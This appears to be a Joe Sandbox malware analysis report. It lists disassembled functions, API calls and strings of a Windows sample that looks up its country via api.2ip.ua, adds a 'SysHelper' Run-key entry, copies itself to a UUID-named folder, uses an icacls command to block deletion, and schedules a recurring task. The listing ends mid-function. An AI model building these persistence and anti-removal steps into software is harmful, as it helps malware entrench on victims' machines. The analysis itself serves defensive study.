Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 3ff613f62af08d43af5c43ebeb6686daa3118fac844016e00806aafe3840a8e3
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: B1E17C76D00219EBDF24DBA1CD49FEFB7B9BF04304F14406AE50AA6190EB74AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 05D9D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05D9D8EA

Strings

(, xrefs: 05D9DAE9
, xrefs: 05D9DADB
$, xrefs: 05D9DAE2

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 9c0a7c18ef0f4c007b5372bcd18febfa3a35992634d1a03df0dfc86bcfca8ab7
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 2B91AE71D00218EAEF24DFA4CC59BEEBBB6EF05304F14416AD41677280DBB65A48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05DB5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 05DB5CF4

Strings

U, xrefs: 05DB5CFD

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: a6ab2465aabfd7523630611b04d752e8cff94a594ca29fa522897226fafff010
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 4D21DB32708209EAFB00DAA4FC49FFA739FEB45650F504167F90AC6190FAB1E94047A4

Uniqueness

Uniqueness Score: -1.00%

Function 05DAA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DAA858
_memset.LIBCMT ref: 05DAA869
_memset.LIBCMT ref: 05DAA87A

Strings

p2Q, xrefs: 05DAA882

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 997ccc7e2c89c71d4fdd572837cc18a1d778b7754a667c75d8fa211d1626e6ed
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: FAF06538684750A6F7117750BC2A7853D817B31B04F004045D1152E3E0D7FD234C6399

Uniqueness

Uniqueness Score: -1.00%

Function 05DDFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05DDFBF1

Part of subcall function 05DC169C: std::exception::_Copy_str.LIBCMT ref: 05DC16B5

__CxxThrowException@8.LIBCMT ref: 05DDFC06

Strings

TeM, xrefs: 05DDFBFB, 05DDFBE7
TeM, xrefs: 05DDFBFE

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 578569586a94a5394d9fc54d024b474ac4645a04d70f63f91ec2c4aee416c624
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 28D06775D4021DBBCB00EFE5D459CDDBFB8EE04344F4084A7A91497241EA74A349CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05D9D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05DB197D: __wfsopen.LIBCMT ref: 05DB1988

_fgetws.LIBCMT ref: 05D9D15C

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 302216501fa0e8429974d92c044f9f106a06d53d40cf515a58cc5091d60471ab
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 68919372D00319EBDF24EFA4CD45BAEB7B6FF04304F14052AE816A3240E775AA04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05D9D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05D9D77E
_malloc.LIBCMT ref: 05D9D7B2
_malloc.LIBCMT ref: 05D9D7C1
_fprintf.LIBCMT ref: 05D9D815

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 6a8fc753af2d3ac667c553c0ab995b5ec212e8bab602ad319f2ddd7dbdecd8da
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: EFA160B1D00249EBEF11EFD4C849BDEBB75EF15304F14002AD50677291D7B65A88CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05DB2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DB2B2E
__read_nolock.LIBCMT ref: 05DB2BFE
__filbuf.LIBCMT ref: 05DB2C21
_memset.LIBCMT ref: 05DB2C65

Part of subcall function 05DB5BA8: __getptd_noexit.LIBCMT ref: 05DB5BA8

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 54eba74b201586356b56bdf782e572cf6fd23c0192988bec94e227f5dc813827
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: A151C23AA04305DBEB25CE6988845EE77B3BF00321F14872BE877C62D4DBF099508B54

Uniqueness

Uniqueness Score: -1.00%

Function 05DD1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05DD137D

Part of subcall function 05DD1A9D: __fltout2.LIBCMT ref: 05DD1AC6

__cftog_l.LIBCMT ref: 05DD13A3
__cftoe_l.LIBCMT ref: 05DD13D5

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 328aebbff33fe2ab257247bc13658e91073d341efe23349fdedcf0173f631939
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 0F01483280418ABBCF166EC4DC05CEE7F63FB19251B488516FE5959830D236C5B2EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05E57A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05E57A4B

Part of subcall function 05E58140: ___BuildCatchObjectHelper.LIBCMT ref: 05E58172
Part of subcall function 05E58140: ___AdjustPointer.LIBCMT ref: 05E58189

_UnwindNestedFrames.LIBCMT ref: 05E57A62
___FrameUnwindToState.LIBCMT ref: 05E57A74
CallCatchBlock.LIBCMT ref: 05E57A98

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 669ff94cf988f16e8932bfaade0bc2c306c2f7995ecf52dd194b86dcf65c7968
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 19012932500109BBDF12AF55CC04EDA7BBAFF48768F149014FE9865121D732E971DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 004040E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004090E5
___raise_securityfailure.LIBCMT ref: 004091CC

Strings

p*K, xrefs: 004091C7

Memory Dump Source

Source File: 00000000.00000002.2064601510.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2064587068.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064620160.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064635242.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064649287.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064649287.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065091026.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065091026.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066693183.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rq0mVjR9ar.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: p*K
API String ID: 3761405300-634774898
Opcode ID: f8b6ff31aa6dafce38efa8f54da661209ce72ad8c7d2d71c32121ee81ae48050
Instruction ID: ca1f9635ebecc0057e5c16809059d4e96c11b9fb3ef1e7353b7d5ec092e13518
Opcode Fuzzy Hash: f8b6ff31aa6dafce38efa8f54da661209ce72ad8c7d2d71c32121ee81ae48050
Instruction Fuzzy Hash: 1B21E2B45082059BE725CF25FE556507BA4BB0C314F104B3AE9099B7B0EBF46981CF4D

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rq0mVjR9ar.exePID: 4324, Parent PID: 6764COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	37%
Total number of Nodes:	810
Total number of Limit Nodes:	89

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0085C718,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

x2Q, xrefs: 0041A856
--AutoStart, xrefs: 0041A2EC
runas, xrefs: 0041A6CE
I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
D:\Program Files (x86)\Google\, xrefs: 0041B085
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
IsNotAutoStart, xrefs: 0041A645
F:\, xrefs: 0041B397
X1P, xrefs: 0041A485
C:\Program Files\Google\, xrefs: 0041AFB9
7P, xrefs: 0041B164
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
--Admin, xrefs: 0041A1B4, 0041A632
--ForNetRes, xrefs: 0041A22E
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
C:\Windows\, xrefs: 0041AE0F
--Service, xrefs: 0041A30B
list<T> too long, xrefs: 0041B669, 0041B673
IsAutoStart, xrefs: 0041A1D0, 0041A273
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
<, xrefs: 0041A67B
IsTask, xrefs: 0041A1EE, 0041A299
x*P, xrefs: 0041ACE4
D:\Windows\, xrefs: 0041AFF3
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
--Task, xrefs: 0041A2CD
IsNotTask, xrefs: 0041A654
D:\Program Files\Google\, xrefs: 0041B0EE
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

2030-05-02T08:00:00, xrefs: 0040D737
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
PT5M, xrefs: 0040D5A1, 0040D66C
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
--Task, xrefs: 0040D8DD
Author Name, xrefs: 0040D4C8
Time Trigger Task, xrefs: 0040D43C, 0040D973
Trigger1, xrefs: 0040D6FA

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcessModules, xrefs: 0041226C, 004122A1
kernel32.dll, xrefs: 0041224E
EnumProcesses, xrefs: 00412264, 00412299
Psapi.dll, xrefs: 0041228C
GetModuleBaseNameW, xrefs: 00412277, 004122AC

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1
https://api.2ip.ua/geo.json, xrefs: 0040CF79

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

" --AutoStart, xrefs: 00411DD1
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" --AutoStart, xrefs: 004120C2
SHGetFolderPathW, xrefs: 00411E9F
Shell32.dll, xrefs: 00411E94
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
SysHelper, xrefs: 00411D5B, 004120EB
icacls ", xrefs: 0041214C
D, xrefs: 00412128

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
